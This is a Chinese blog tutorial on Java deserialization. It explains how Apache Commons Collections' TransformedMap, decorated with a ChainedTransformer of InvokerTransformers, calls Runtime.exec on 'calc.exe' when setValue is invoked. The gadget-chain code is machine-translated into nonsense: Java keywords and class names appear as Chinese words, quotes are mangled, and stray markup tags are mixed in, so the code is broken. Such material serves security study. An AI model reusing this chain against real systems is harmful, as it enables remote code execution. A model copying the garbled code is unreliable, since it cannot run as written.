java反序列化——transformedMap类可以执行恶意代码的原理
0 x00代码
<代码>地图地图=new HashMap (); map.put(“关键”、“价值”);//调用目标对象的toString方法 字符串命令=癱alc.exe”; 最后一个String [] execArgs=new String[]{命令}; 最后变压器变压器[][]变压器=new { 新ConstantTransformer (Runtime.class), 新InvokerTransformer (“getMethod”,新类[]{ 字符串。类,类[]。类},新对象[]{ “getRuntime”,新类[0]}), 新InvokerTransformer(“调用”,新类[]{ 对象。类、对象[]。类},新对象[]{ 空,新对象[0]}), 新InvokerTransformer(“执行”, 新类[]{字符串。类},execArgs) }; 变压器变压器=new ChainedTransformer(变形金刚); Object> Map<字符串;transformedMap=TransformedMap.decorate(地图、零、变压器); (Map.Entry<字符串,Object>条目:transformedMap.entrySet ()) { System.out.println(入口); entry.setValue(“什么”); }代码>
<>强执行结果:强>
0 x01 transformedMap类为什么可以执行恶意代码?
https://blog.51cto.com/13770310/2160737通过上一篇文章,可知ChainedTransformer的变压器方法可以执行恶意代码。
上述代码的关键是:
<代码> (Map.Entry<字符串,Object>条目:transformedMap.entrySet ()) { System.out.println(入口); entry.setValue(“什么”); }代码>
为什么执行了entry.setValue (“anything"),就可以造成恶意代码执行呢?接下来我们看transformedMap类的checkSetValue方法:
<代码>/* * *覆盖转换价值在使用& lt; code> setValue。 * * @param价值转换的值 * @return转换后的值 3.1 * @since Commons集合 */保护对象checkSetValue(对象值){ 返回valueTransformer.transform(价值); } 代码>
当transformedMap对象执行setValue方法时会调用valueTransformer的变换方法,如果传入的valueTransformer是ChainedTransformer的对象,那不就可以造成恶意代码执行了吗。
接着查看上面代码:
因此该代码的核心还是使用的ChainedTransformer的变压器方法